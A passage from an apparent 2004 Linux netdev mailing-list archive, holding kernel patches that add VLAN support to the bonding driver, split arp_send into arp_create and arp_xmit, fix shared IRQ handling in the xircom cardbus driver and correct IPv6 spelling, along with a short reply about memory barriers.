bond %s\n", vlan_id, + bond->dev->name); + +out: + write_unlock_bh(&bond->lock); + return res; +} + +/** + * bond_has_challenged_slaves + * @bond: the bond we're working on + * + * Searches the slave list. Returns 1 if a vlan challenged slave + * was found, 0 otherwise. + * + * Assumes bond->lock is held. + */ +static int bond_has_challenged_slaves(struct bonding *bond) +{ + struct slave *slave; + int i; + + bond_for_each_slave(bond, slave, i) { + if (slave->dev->features & NETIF_F_VLAN_CHALLENGED) { + dprintk("found VLAN challenged slave - %s\n", + slave->dev->name); + return 1; + } + } + + dprintk("no VLAN challenged slaves found\n"); + return 0; +} + +/** + * bond_dev_queue_xmit - Prepare skb for xmit. + * + * @bond: bond device that got this skb for tx. + * @skb: hw accel VLAN tagged skb to transmit + * @slave_dev: slave that is supposed to xmit this skbuff + * + * When the bond gets an skb to tarnsmit that is + * already hardware accelerated VLAN tagged, and it + * needs to relay this skb to a slave that is not + * hw accel capable, the skb needs to be "unaccelerated", + * i.e. strip the hwaccel tag and re-insert it as part + * of the payload. + * + * Assumption - once a VLAN device is created over the bond device, all + * packets are going to be hardware accelerated VLAN tagged since the IP + * binding is done over the VLAN device + */ +int bond_dev_queue_xmit(struct bonding *bond, struct sk_buff *skb, struct net_device *slave_dev) +{ + unsigned short vlan_id; + int res; + + if (!list_empty(&bond->vlan_list) && + !(slave_dev->features & NETIF_F_HW_VLAN_TX)) { + res = vlan_get_tag(skb, &vlan_id); + if (res) { + return -EINVAL; + } + + skb->dev = slave_dev; + skb = vlan_put_tag(skb, vlan_id); + if (!skb) { + /* vlan_put_tag() frees the skb in case of error, + * so return success here so the calling functions + * won't attempt to free is again. + */ + return 0; + } + } else { + skb->dev = slave_dev; + } + + skb->priority = 1; + dev_queue_xmit(skb); + + return 0; +} + +/* + * In the following 3 functions, bond_vlan_rx_register(), bond_vlan_rx_add_vid + * and bond_vlan_rx_kill_vid, We don't protect the slave list iteration with a + * lock because: + * a. This operation is performed in IOCTL context, + * b. The operation is protected by the RTNL semaphore in the 8021q code, + * c. Holding a lock with BH disabled while directly calling a base driver + * entry point is generally a BAD idea. + * + * The design of synchronization/protection for this operation in the 8021q + * module is good for one or more VLAN devices over a single physical device + * and cannot be extended for a teaming solution like bonding, so there is a + * potential race condition here where a net device from the vlan group might + * be referenced (either by a base driver or the 8021q code) while it is being + * removed from the system. However, it turns out we're not making matters + * worse, and if it works for regular VLAN usage it will work here too. +*/ + +/** + * bond_vlan_rx_register - Propagates registration to slaves + * @bond_dev: bonding net device that got called + * @grp: vlan group being registered + */ +static void bond_vlan_rx_register(struct net_device *bond_dev, struct vlan_group *grp) +{ + struct bonding *bond = bond_dev->priv; + struct slave *slave; + int i; + + bond->vlgrp = grp; + + bond_for_each_slave(bond, slave, i) { + struct net_device *slave_dev = slave->dev; + + if ((slave_dev->features & NETIF_F_HW_VLAN_RX) && + slave_dev->vlan_rx_register) { + slave_dev->vlan_rx_register(slave_dev, grp); + } + } +} + +/** + * bond_vlan_rx_add_vid - Propagates adding an id to slaves + * @bond_dev: bonding net device that got called + * @vid: vlan id being added + */ +static void bond_vlan_rx_add_vid(struct net_device *bond_dev, uint16_t vid) +{ + struct bonding *bond = bond_dev->priv; + struct slave *slave; + int i, res; + + bond_for_each_slave(bond, slave, i) { + struct net_device *slave_dev = slave->dev; + + if ((slave_dev->features & NETIF_F_HW_VLAN_FILTER) && + slave_dev->vlan_rx_add_vid) { + slave_dev->vlan_rx_add_vid(slave_dev, vid); + } + } + + res = bond_add_vlan(bond, vid); + if (res) { + printk(KERN_ERR DRV_NAME + ": %s: Failed to add vlan id %d\n", + bond_dev->name, vid); + } +} + +/** + * bond_vlan_rx_kill_vid - Propagates deleting an id to slaves + * @bond_dev: bonding net device that got called + * @vid: vlan id being removed + */ +static void bond_vlan_rx_kill_vid(struct net_device *bond_dev, uint16_t vid) +{ + struct bonding *bond = bond_dev->priv; + struct slave *slave; + struct net_device *vlan_dev; + int i, res; + + bond_for_each_slave(bond, slave, i) { + struct net_device *slave_dev = slave->dev; + + if ((slave_dev->features & NETIF_F_HW_VLAN_FILTER) && + slave_dev->vlan_rx_kill_vid) { + /* Save and then restore vlan_dev in the grp array, + * since the slave's driver might clear it. + */ + vlan_dev = bond->vlgrp->vlan_devices[vid]; + slave_dev->vlan_rx_kill_vid(slave_dev, vid); + bond->vlgrp->vlan_devices[vid] = vlan_dev; + } + } + + res = bond_del_vlan(bond, vid); + if (res) { + printk(KERN_ERR DRV_NAME + ": %s: Failed to remove vlan id %d\n", + bond_dev->name, vid); + } +} + +static void bond_add_vlans_on_slave(struct bonding *bond, struct net_device *slave_dev) +{ + struct vlan_entry *vlan; + + write_lock_bh(&bond->lock); + + if (list_empty(&bond->vlan_list)) { + goto out; + } + + if ((slave_dev->features & NETIF_F_HW_VLAN_RX) && + slave_dev->vlan_rx_register) { + slave_dev->vlan_rx_register(slave_dev, bond->vlgrp); + } + + if (!(slave_dev->features & NETIF_F_HW_VLAN_FILTER) || + !(slave_dev->vlan_rx_add_vid)) { + goto out; + } + + list_for_each_entry(vlan, &bond->vlan_list, vlan_list) { + slave_dev->vlan_rx_add_vid(slave_dev, vlan->vlan_id); + } + +out: + write_unlock_bh(&bond->lock); +} + +static void bond_del_vlans_from_slave(struct bonding *bond, struct net_device *slave_dev) +{ + struct vlan_entry *vlan; + struct net_device *vlan_dev; + + write_lock_bh(&bond->lock); + + if (list_empty(&bond->vlan_list)) { + goto out; + } + + if (!(slave_dev->features & NETIF_F_HW_VLAN_FILTER) || + !(slave_dev->vlan_rx_kill_vid)) { + goto unreg; + } + + list_for_each_entry(vlan, &bond->vlan_list, vlan_list) { + /* Save and then restore vlan_dev in the grp array, + * since the slave's driver might clear it. + */ + vlan_dev = bond->vlgrp->vlan_devices[vlan->vlan_id]; + slave_dev->vlan_rx_kill_vid(slave_dev, vlan->vlan_id); + bond->vlgrp->vlan_devices[vlan->vlan_id] = vlan_dev; + } + +unreg: + if ((slave_dev->features & NETIF_F_HW_VLAN_RX) && + slave_dev->vlan_rx_register) { + slave_dev->vlan_rx_register(slave_dev, NULL); + } + +out: + write_unlock_bh(&bond->lock); +} + /*------------------------------- Link status -------------------------------*/ /* @@ -1214,6 +1539,7 @@ static int bond_enslave(struct net_devic struct dev_mc_list *dmi; struct sockaddr addr; int link_reporting; + int old_features = bond_dev->features; int res = 0; if (slave_dev->do_ioctl == NULL) { @@ -1234,6 +1560,36 @@ static int bond_enslave(struct net_devic return -EBUSY; } + /* vlan challenged mutual exclusion */ + /* no need to lock since we're protected by rtnl_lock */ + if (slave_dev->features & NETIF_F_VLAN_CHALLENGED) { + dprintk("%s: NETIF_F_VLAN_CHALLENGED\n", slave_dev->name); + if (!list_empty(&bond->vlan_list)) { + printk(KERN_ERR DRV_NAME + ": Error: cannot enslave VLAN " + "challenged slave %s on VLAN enabled " + "bond %s\n", slave_dev->name, + bond_dev->name); + return -EPERM; + } else { + printk(KERN_WARNING DRV_NAME + ": Warning: enslaved VLAN challenged " + "slave %s. Adding VLANs will be blocked as " + "long as %s is part of bond %s\n", + slave_dev->name, slave_dev->name, + bond_dev->name); + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + } + } else { + dprintk("%s: ! NETIF_F_VLAN_CHALLENGED\n", slave_dev->name); + if (bond->slave_cnt == 0) { + /* First slave, and it is not VLAN challenged, + * so remove the block of adding VLANs over the bond. + */ + bond_dev->features &= ~NETIF_F_VLAN_CHALLENGED; + } + } + if (app_abi_ver >= 1) { /* The application is using an ABI, which requires the * slave interface to be closed. @@ -1242,7 +1598,8 @@ static int bond_enslave(struct net_devic printk(KERN_ERR DRV_NAME ": Error: %s is up\n", slave_dev->name); - return -EPERM; + res = -EPERM; + goto err_undo_flags; } if (slave_dev->set_mac_address == NULL) { @@ -1253,7 +1610,8 @@ static int bond_enslave(struct net_devic "Your kernel likely does not support slave " "devices.\n"); - return -EOPNOTSUPP; + res = -EOPNOTSUPP; + goto err_undo_flags; } } else { /* The application is not using an ABI, which requires the @@ -1263,7 +1621,8 @@ static int bond_enslave(struct net_devic printk(KERN_ERR DRV_NAME ": Error: %s is not running\n", slave_dev->name); - return -EINVAL; + res = -EINVAL; + goto err_undo_flags; } if ((bond->params.mode == BOND_MODE_8023AD) || @@ -1273,13 +1632,15 @@ static int bond_enslave(struct net_devic ": Error: to use %s mode, you must upgrade " "ifenslave.\n", bond_mode_name(bond->params.mode)); - return -EOPNOTSUPP; + res = -EOPNOTSUPP; + goto err_undo_flags; } } new_slave = kmalloc(sizeof(struct slave), GFP_KERNEL); if (!new_slave) { - return -ENOMEM; + res = -ENOMEM; + goto err_undo_flags; } memset(new_slave, 0, sizeof(struct slave)); @@ -1368,6 +1729,8 @@ static int bond_enslave(struct net_devic dev_mc_add(slave_dev, lacpdu_multicast, ETH_ALEN, 0); } + bond_add_vlans_on_slave(bond, slave_dev); + write_lock_bh(&bond->lock); bond_attach_slave(bond, new_slave); @@ -1576,6 +1939,10 @@ err_restore_mac: err_free: kfree(new_slave); + +err_undo_flags: + bond_dev->features = old_features; + return res; } @@ -1689,8 +2056,37 @@ static int bond_release(struct net_devic } } + if (bond->slave_cnt == 0) { + /* if the last slave was removed, zero the mac address + * of the master so it will be set by the application + * to the mac address of the first slave + */ + memset(bond_dev->dev_addr, 0, bond_dev->addr_len); + + if (list_empty(&bond->vlan_list)) { + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + } else { + printk(KERN_WARNING DRV_NAME + ": Warning: clearing HW address of %s while it " + "still has VLANs.\n", + bond_dev->name); + printk(KERN_WARNING DRV_NAME + ": When re-adding slaves, make sure the bond's " + "HW address matches its VLANs'.\n"); + } + } else if ((bond_dev->features & NETIF_F_VLAN_CHALLENGED) && + !bond_has_challenged_slaves(bond)) { + printk(KERN_INFO DRV_NAME + ": last VLAN challenged slave %s " + "left bond %s. VLAN blocking is removed\n", + slave_dev->name, bond_dev->name); + bond_dev->features &= ~NETIF_F_VLAN_CHALLENGED; + } + write_unlock_bh(&bond->lock); + bond_del_vlans_from_slave(bond, slave_dev); + /* If the mode USES_PRIMARY, then we should only remove its * promisc and mc settings if it was the curr_active_slave, but that was * already taken care of above when we detached the slave @@ -1732,14 +2128,6 @@ static int bond_release(struct net_devic kfree(slave); - /* if the last slave was removed, zero the mac address - * of the master so it will be set by the application - * to the mac address of the first slave - */ - if (bond->slave_cnt == 0) { - memset(bond_dev->dev_addr, 0, bond_dev->addr_len); - } - return 0; /* deletion OK */ } @@ -1788,6 +2176,8 @@ static int bond_release_all(struct net_d */ write_unlock_bh(&bond->lock); + bond_del_vlans_from_slave(bond, slave_dev); + /* If the mode USES_PRIMARY, then we should only remove its * promisc and mc settings if it was the curr_active_slave, but that was * already taken care of above when we detached the slave @@ -1838,6 +2228,18 @@ static int bond_release_all(struct net_d */ memset(bond_dev->dev_addr, 0, bond_dev->addr_len); + if (list_empty(&bond->vlan_list)) { + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + } else { + printk(KERN_WARNING DRV_NAME + ": Warning: clearing HW address of %s while it " + "still has VLANs.\n", + bond_dev->name); + printk(KERN_WARNING DRV_NAME + ": When re-adding slaves, make sure the bond's " + "HW address matches its VLANs'.\n"); + } + printk(KERN_INFO DRV_NAME ": %s: released all slaves\n", bond_dev->name); @@ -3570,11 +3972,12 @@ static int bond_xmit_roundrobin(struct s struct bonding *bond = bond_dev->priv; struct slave *slave, *start_at; int i; + int res = 1; read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } read_lock(&bond->curr_slave_lock); @@ -3582,33 +3985,31 @@ static int bond_xmit_roundrobin(struct s read_unlock(&bond->curr_slave_lock); if (!slave) { - goto free_out; + goto out; } bond_for_each_slave_from(bond, slave, i, start_at) { if (IS_UP(slave->dev) && (slave->link == BOND_LINK_UP) && (slave->state == BOND_STATE_ACTIVE)) { - skb->dev = slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); + res = bond_dev_queue_xmit(bond, skb, slave->dev); write_lock(&bond->curr_slave_lock); bond->curr_active_slave = slave->next; write_unlock(&bond->curr_slave_lock); - goto out; + break; } } + out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } /* @@ -3618,6 +4019,7 @@ free_out: static int bond_xmit_activebackup(struct sk_buff *skb, struct net_device *bond_dev) { struct bonding *bond = bond_dev->priv; + int res = 1; /* if we are sending arp packets, try to at least identify our own ip address */ @@ -3634,26 +4036,21 @@ static int bond_xmit_activebackup(struct read_lock(&bond->curr_slave_lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } if (bond->curr_active_slave) { /* one usable interface */ - skb->dev = bond->curr_active_slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); - goto out; - } else { - goto free_out; + res = bond_dev_queue_xmit(bond, skb, bond->curr_active_slave->dev); } + out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->curr_slave_lock); read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } /* @@ -3668,11 +4065,12 @@ static int bond_xmit_xor(struct sk_buff struct slave *slave, *start_at; int slave_no; int i; + int res = 1; read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } slave_no = (data->h_dest[5]^bond_dev->dev_addr[5]) % bond->slave_cnt; @@ -3690,22 +4088,18 @@ static int bond_xmit_xor(struct sk_buff if (IS_UP(slave->dev) && (slave->link == BOND_LINK_UP) && (slave->state == BOND_STATE_ACTIVE)) { - skb->dev = slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); - - goto out; + res = bond_dev_queue_xmit(bond, skb, slave->dev); + break; } } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } /* @@ -3717,11 +4111,12 @@ static int bond_xmit_broadcast(struct sk struct slave *slave, *start_at; struct net_device *tx_dev = NULL; int i; + int res = 1; read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } read_lock(&bond->curr_slave_lock); @@ -3729,7 +4124,7 @@ static int bond_xmit_broadcast(struct sk read_unlock(&bond->curr_slave_lock); if (!start_at) { - goto free_out; + goto out; } bond_for_each_slave_from(bond, slave, i, start_at) { @@ -3745,31 +4140,28 @@ static int bond_xmit_broadcast(struct sk continue; } - skb2->dev = tx_dev; - skb2->priority = 1; - dev_queue_xmit(skb2); + res = bond_dev_queue_xmit(bond, skb2, tx_dev); + if (res) { + dev_kfree_skb(skb2); + continue; + } } tx_dev = slave->dev; } } if (tx_dev) { - skb->dev = tx_dev; - skb->priority = 1; - dev_queue_xmit(skb); - } else { - goto free_out; + res = bond_dev_queue_xmit(bond, skb, tx_dev); } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } /* frame sent to all suitable interfaces */ read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } #ifdef CONFIG_NET_FASTROUTE @@ -3838,6 +4230,7 @@ static int __init bond_init(struct net_d bond->current_arp_slave = NULL; bond->primary_slave = NULL; bond->dev = bond_dev; + INIT_LIST_HEAD(&bond->vlan_list); /* Initialize the device entry points */ bond_dev->open = bond_open; @@ -3858,6 +4251,25 @@ static int __init bond_init(struct net_d bond_dev->tx_queue_len = 0; bond_dev->flags |= IFF_MASTER|IFF_MULTICAST; + /* At first, we block adding VLANs. That's the only way to + * prevent problems that occur when adding VLANs over an + * empty bond. The block will be removed once non-challenged + * slaves are enslaved. + */ + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + + /* By default, we declare the bond to be fully + * VLAN hardware accelerated capable. Special + * care is taken in the various xmit functions + * when there are slaves that are not hw accel + * capable + */ + bond_dev->vlan_rx_register = bond_vlan_rx_register; + bond_dev->vlan_rx_add_vid = bond_vlan_rx_add_vid; + bond_dev->vlan_rx_kill_vid = bond_vlan_rx_kill_vid; + bond_dev->features |= (NETIF_F_HW_VLAN_TX | + NETIF_F_HW_VLAN_RX | + NETIF_F_HW_VLAN_FILTER); #ifdef CONFIG_PROC_FS bond_create_proc_entry(bond); diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Wed Jan 21 16:55:06 2004 +++ b/drivers/net/bonding/bonding.h Wed Jan 21 16:55:08 2004 @@ -147,6 +147,11 @@ struct bond_params { u32 arp_targets[BOND_MAX_ARP_TARGETS]; }; +struct vlan_entry { + struct list_head vlan_list; + unsigned short vlan_id; +}; + struct slave { struct net_device *dev; /* first - usefull for panic debug */ struct slave *next; @@ -196,6 +201,8 @@ struct bonding { struct ad_bond_info ad_info; struct alb_bond_info alb_info; struct bond_params params; + struct list_head vlan_list; + struct vlan_group *vlgrp; }; /** @@ -238,5 +245,7 @@ extern inline void bond_set_slave_active slave->dev->flags &= ~IFF_NOARP; } +int bond_dev_queue_xmit(struct bonding *bond, struct sk_buff *skb, struct net_device *slave_dev); + #endif /* _LINUX_BONDING_H */ From shmulik.hen@intel.com Thu Jan 22 16:18:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 16:18:21 -0800 (PST) Received: from hermes-pilot.fm.intel.com (fmr99.intel.com [192.55.52.32]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N0Hw7L010204 for ; Thu, 22 Jan 2004 16:17:59 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes-pilot.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0MFrlcC024937; Thu, 22 Jan 2004 15:53:47 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0MFvALH002461; Thu, 22 Jan 2004 15:57:47 GMT Received: from jrslxjul5.npdj.intel.com ([10.12.220.55]) by fmsmsxvs042.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012207561118573 ; Thu, 22 Jan 2004 07:56:11 -0800 From: Shmuel Hen Organization: Intel Corporation To: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: [PATCH 1/6][NET][2.4] split arp_send into arp_create and arp_xmit Date: Thu, 22 Jan 2004 17:56:10 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200401221756.10868.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2684 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Enable intermediate network drivers like bonding to create an ARP packet and modify it to their needs before sending it, while avoiding code duplication. It does not affect any other place in the kernel that uses arp_send. diff -Nuarp a/include/net/arp.h b/include/net/arp.h --- a/include/net/arp.h Wed Jan 21 16:54:53 2004 +++ b/include/net/arp.h Wed Jan 21 16:54:54 2004 @@ -5,6 +5,8 @@ #include #include +#define HAVE_ARP_CREATE + extern struct neigh_table arp_tbl; extern void arp_init(void); @@ -19,6 +21,12 @@ extern int arp_bind_neighbour(struct dst extern int arp_mc_map(u32 addr, u8 *haddr, struct net_device *dev, int dir); extern void arp_ifdown(struct net_device *dev); +extern struct sk_buff *arp_create(int type, int ptype, u32 dest_ip, + struct net_device *dev, u32 src_ip, + unsigned char *dest_hw, unsigned char *src_hw, + unsigned char *target_hw); +extern void arp_xmit(struct sk_buff *skb); + extern struct neigh_ops arp_broken_ops; #endif /* _ARP_H */ diff -Nuarp a/net/ipv4/arp.c b/net/ipv4/arp.c --- a/net/ipv4/arp.c Wed Jan 21 16:54:53 2004 +++ b/net/ipv4/arp.c Wed Jan 21 16:54:54 2004 @@ -66,6 +66,10 @@ * Alexey Kuznetsov: new arp state machine; * now it is in net/core/neighbour.c. * Krzysztof Halasa: Added Frame Relay ARP support. + * Shmulik Hen: Split arp_send to arp_create and + * arp_xmit so intermediate drivers like + * bonding can change the skb before + * sending (e.g. insert 8021q tag). */ #include @@ -481,34 +485,26 @@ static inline int arp_fwd_proxy(struct i */ /* - * Create and send an arp packet. If (dest_hw == NULL), we create a broadcast + * Create an arp packet. If (dest_hw == NULL), we create a broadcast * message. */ - -void arp_send(int type, int ptype, u32 dest_ip, - struct net_device *dev, u32 src_ip, - unsigned char *dest_hw, unsigned char *src_hw, - unsigned char *target_hw) +struct sk_buff *arp_create(int type, int ptype, u32 dest_ip, + struct net_device *dev, u32 src_ip, + unsigned char *dest_hw, unsigned char *src_hw, + unsigned char *target_hw) { struct sk_buff *skb; struct arphdr *arp; unsigned char *arp_ptr; /* - * No arp on this interface. - */ - - if (dev->flags&IFF_NOARP) - return; - - /* * Allocate a buffer */ skb = alloc_skb(sizeof(struct arphdr)+ 2*(dev->addr_len+4) + dev->hard_header_len + 15, GFP_ATOMIC); if (skb == NULL) - return; + return NULL; skb_reserve(skb, (dev->hard_header_len+15)&~15); skb->nh.raw = skb->data; @@ -588,12 +584,46 @@ void arp_send(int type, int ptype, u32 d arp_ptr+=dev->addr_len; memcpy(arp_ptr, &dest_ip, 4); - /* Send it off, maybe filter it using firewalling first. */ - NF_HOOK(NF_ARP, NF_ARP_OUT, skb, NULL, dev, dev_queue_xmit); - return; + return skb; out: kfree_skb(skb); + return NULL; +} + +/* + * Send an arp packet. + */ +void arp_xmit(struct sk_buff *skb) +{ + /* Send it off, maybe filter it using firewalling first. */ + NF_HOOK(NF_ARP, NF_ARP_OUT, skb, NULL, skb->dev, dev_queue_xmit); +} + +/* + * Create and send an arp packet. + */ +void arp_send(int type, int ptype, u32 dest_ip, + struct net_device *dev, u32 src_ip, + unsigned char *dest_hw, unsigned char *src_hw, + unsigned char *target_hw) +{ + struct sk_buff *skb; + + /* + * No arp on this interface. + */ + + if (dev->flags&IFF_NOARP) + return; + + skb = arp_create(type, ptype, dest_ip, dev, src_ip, + dest_hw, src_hw, target_hw); + if (skb == NULL) { + return; + } + + arp_xmit(skb); } static void parp_redo(struct sk_buff *skb) diff -Nuarp a/net/netsyms.c b/net/netsyms.c --- a/net/netsyms.c Wed Jan 21 16:54:53 2004 +++ b/net/netsyms.c Wed Jan 21 16:54:54 2004 @@ -261,6 +261,8 @@ EXPORT_SYMBOL(icmp_statistics); EXPORT_SYMBOL(icmp_err_convert); EXPORT_SYMBOL(ip_options_compile); EXPORT_SYMBOL(ip_options_undo); +EXPORT_SYMBOL(arp_create); +EXPORT_SYMBOL(arp_xmit); EXPORT_SYMBOL(arp_send); EXPORT_SYMBOL(arp_broken_ops); EXPORT_SYMBOL(__ip_select_ident); From davem@redhat.com Thu Jan 22 16:44:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 16:44:17 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N0i37J015808 for ; Thu, 22 Jan 2004 16:44:03 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id QAA10614; Thu, 22 Jan 2004 16:35:04 -0800 Date: Thu, 22 Jan 2004 16:35:04 -0800 (PST) Message-Id: <20040122.163504.74739809.davem@redhat.com> To: kumarkr@us.ibm.com Cc: kuznet@ms2.inr.ac.ru, mashirle@us.ibm.com, netdev@oss.sgi.com, xma@us.ibm.com Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c From: "David S. Miller" In-Reply-To: References: X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2686 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Krishna Kumar Date: Thu, 22 Jan 2004 14:50:15 -0800 Isn't memory barrier used to stop re-ordering of instructions and needs to be present in both reader as well as writer to have synchronization since mb is for the CPU on which it is executing ? You are correct. Good thing I delayed this for a release, now we can work on making sure we get this right. :-) From shemminger@osdl.org Thu Jan 22 16:49:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 16:49:49 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N0nU7J016272 for ; Thu, 22 Jan 2004 16:49:33 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0N0nKo12026; Thu, 22 Jan 2004 16:49:20 -0800 Date: Thu, 22 Jan 2004 16:49:20 -0800 From: Stephen Hemminger To: Jeff Garzik Cc: tulip-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH] Make xircom cardbus handle shared irq Message-Id: <20040122164920.5c32a649.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2687 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Current driver doesn't do shared irq properly. When testing on a laptop here irq 3 get shared between pcmcia slot and tty/IRDA diff -Nru a/drivers/net/tulip/xircom_cb.c b/drivers/net/tulip/xircom_cb.c --- a/drivers/net/tulip/xircom_cb.c Thu Jan 22 16:46:34 2004 +++ b/drivers/net/tulip/xircom_cb.c Thu Jan 22 16:46:34 2004 @@ -342,6 +342,11 @@ printk("tx status 0x%08x 0x%08x \n",card->tx_buffer[0],card->tx_buffer[4]); printk("rx status 0x%08x 0x%08x \n",card->rx_buffer[0],card->rx_buffer[4]); #endif + /* Handle shared irq and hotplug */ + if (status == 0 || status == 0xffffffff) { + spin_unlock(&card->lock); + return IRQ_NONE; + } if (link_status_changed(card)) { int newlink; From yoshfuji@linux-ipv6.org Thu Jan 22 17:02:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 17:02:34 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N12K7J017315 for ; Thu, 22 Jan 2004 17:02:20 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 38BB233CA5; Fri, 23 Jan 2004 10:02:55 +0900 (JST) Date: Fri, 23 Jan 2004 10:02:55 +0900 (JST) Message-Id: <20040123.100255.88151138.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [PATCH] IPV6: mis-spelling From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2688 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev D: fix several mis-spellings / typoes in net/ipv6 ===== net/ipv6/addrconf.c 1.88 vs edited ===== --- 1.88/net/ipv6/addrconf.c Thu Jan 22 15:38:40 2004 +++ edited/net/ipv6/addrconf.c Fri Jan 23 09:48:31 2004 @@ -1338,7 +1338,7 @@ * 2) Configure prefixes with the auto flag set */ - /* Avoid arithemtic overflow. Really, we could + /* Avoid arithmetic overflow. Really, we could save rt_expires in seconds, likely valid_lft, but it would require division in fib gc, that it not good. ===== net/ipv6/exthdrs.c 1.13 vs edited ===== --- 1.13/net/ipv6/exthdrs.c Tue Jun 24 17:33:31 2003 +++ edited/net/ipv6/exthdrs.c Fri Jan 23 09:58:59 2004 @@ -367,7 +367,7 @@ Inverted result: [ H_prev -> ... -> H1 ] daddr =sender - Note, that IP output engine will rewrire this rthdr + Note, that IP output engine will rewrite this rthdr by rotating it left by one addr. */ 